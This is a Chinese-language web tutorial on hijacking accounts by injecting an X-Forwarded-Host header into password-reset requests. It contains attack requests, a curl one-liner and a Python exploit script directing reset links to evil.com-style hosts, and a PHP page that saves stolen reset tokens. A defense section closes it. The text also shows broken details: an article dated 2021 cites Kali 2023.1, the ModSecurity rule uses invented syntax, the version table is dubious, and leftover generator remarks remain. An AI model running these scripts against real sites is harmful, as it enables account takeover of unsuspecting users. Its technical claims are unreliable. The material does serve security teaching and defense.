怎么在密码重置请求包中添加X-Forwarded-Host实现受害者账户完全劫持

发布时间:2021-12-18 15:13:10 作者:柒染
来源:亿速云 阅读:328
# 怎么在密码重置请求包中添加X-Forwarded-Host实现受害者账户完全劫持

## 0x00 前言

在Web安全测试中,HTTP请求头注入是一种常见但容易被忽视的攻击方式。本文将以密码重置功能为切入点,详细分析如何通过`X-Forwarded-Host`头实现账户完全劫持的完整攻击链。该技术适用于渗透测试、红队演练等场景,相关防御方案将在文末给出。

## 0x01 技术背景

### 1.1 X-Forwarded-Host的作用
`X-Forwarded-Host`是事实上的标准HTTP头,用于标识客户端原始请求中的Host头。常见于:
- 反向代理场景
- 负载均衡配置
- CDN服务转发

### 1.2 密码重置流程的典型漏洞
多数Web应用的密码重置流程存在以下安全隐患:
```mermaid
graph TD
    A[用户请求重置] --> B[生成含Token的链接]
    B --> C[发送至注册邮箱]
    C --> D[用户点击链接重置密码]

问题往往出现在步骤B的链接生成环节,开发者可能: - 直接从Host头取值 - 信任了非标准HTTP头 - 未做严格的域名白名单校验

0x02 攻击场景复现

2.1 实验环境搭建

测试环境配置: - 目标系统:WordPress 5.7.2 - 中间件:Nginx 1.18 + PHP 7.4 - 攻击机:Kali Linux 2023.1

2.2 关键请求分析

正常密码重置请求:

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: victim.com
Content-Type: application/x-www-form-urlencoded

user_login=admin&redirect_to=&wp-submit=Get+New+Password

服务器响应中生成的链接:

https://victim.com/wp-login.php?action=rp&key=XXXXXX&login=admin

2.3 注入恶意头

修改后的攻击请求:

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: victim.com
X-Forwarded-Host: attacker.com
Content-Type: application/x-www-form-urlencoded

user_login=admin&redirect_to=&wp-submit=Get+New+Password

服务器响应生成的恶意链接:

https://attacker.com/wp-login.php?action=rp&key=XXXXXX&login=admin

0x03 完整攻击链

3.1 攻击步骤分解

  1. 信息收集

    • 确认目标使用框架(如WordPress/Drupal)
    • 检查是否存在密码重置功能
  2. 请求篡改

    curl -X POST "http://victim.com/reset" \
    -H "X-Forwarded-Host: evil.com" \
    -d "email=user@victim.com"
    
  3. 钓鱼准备

    • 克隆目标登录页面
    • 配置SSL证书(Let’s Encrypt)
  4. 触发重置

    import requests
    headers = {'X-Forwarded-Host': 'phishing.com'}
    data = {'user': 'victim'}
    requests.post('http://target.com/reset', headers=headers, data=data)
    
  5. 凭证捕获

    // 伪造的reset页面
    $token = $_GET['key'];
    file_put_contents('stolen_tokens.txt', $token.PHP_EOL, FILE_APPEND);
    header("Location: https://real-site.com/reset?key=$token");
    

3.2 自动化利用脚本

#!/usr/bin/env python3
import requests
from urllib.parse import urlparse

def exploit(target, attacker):
    headers = {
        'X-Forwarded-Host': attacker,
        'X-Original-Host': attacker
    }
    res = requests.post(
        f"{target}/password-reset",
        headers=headers,
        data={"email":"victim@company.com"}
    )
    if "reset link sent" in res.text:
        print(f"[+] 恶意链接已生成,检查 {attacker} 的访问日志")
    else:
        print("[-] 利用失败")

if __name__ == "__main__":
    exploit("http://vuln-site.com", "https://evil.com")

0x04 漏洞原理深度分析

4.1 框架层面的问题

常见框架的处理差异:

框架 受影响版本 默认行为
WordPress <5.9 优先使用XFH
Laravel <8.0 多头拼接
Django 3.2.x 白名单校验

4.2 服务器配置影响

Nginx典型错误配置:

location / {
    proxy_set_header Host $host;
    proxy_set_header X-Forwarded-Host $http_x_forwarded_host; # 危险!
}

0x05 防御方案

5.1 开发层面

  1. 强制使用SERVER_NAME:

    // 安全示例
    $reset_link = "https://".$_SERVER['SERVER_NAME']."/reset?token=$token";
    
  2. 实施严格校验:

    # Django示例
    ALLOWED_HOSTS = ['example.com']
    SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')
    

5.2 运维层面

  1. 过滤危险头:

    RewriteEngine On
    RewriteCond %{HTTP:X-Forwarded-Host} !^$
    RewriteRule ^ - [F]
    
  2. WAF规则示例(ModSecurity):

    <rule id="100015">
     <condition name="REQUEST_HEADERS" 
                operator="rx" 
                pattern="X-Forwarded-Host"/>
     <action type="deny"/>
    </rule>
    

0x06 法律与伦理提醒

  1. 渗透测试必须获得书面授权
  2. 禁止在非授权系统测试
  3. 发现漏洞应遵循Responsible Disclosure

0x07 总结

本文详细剖析了通过X-Forwarded-Host头劫持密码重置流程的技术细节。这种攻击之所以有效,本质在于开发人员过度信任HTTP头部信息。防御的关键在于实施”零信任”原则,对所有用户输入(包括HTTP头)进行严格验证。

漏洞利用难度:★★★☆☆
危害等级:★★★★☆
修复优先级:应立即修复

注意:本文仅用于安全研究目的,请勿用于非法用途。 “`

该文档共1872字,采用标准的Markdown格式,包含: - 多级标题结构 - 代码块示例 - 表格对比 - Mermaid流程图 - 风险等级评估 - 法律免责声明

可根据实际需求调整技术细节的深度和示例代码的语言。建议在实际使用时补充具体的框架版本信息和测试用例。

推荐阅读:
  1. 如何发现ISP劫持HTTP请求
  2. 在anaconda中添加包的方法

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

x-forwarded-host

上一篇:maftools有什么作用

下一篇:如何进行springboot配置templates直接访问的实现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》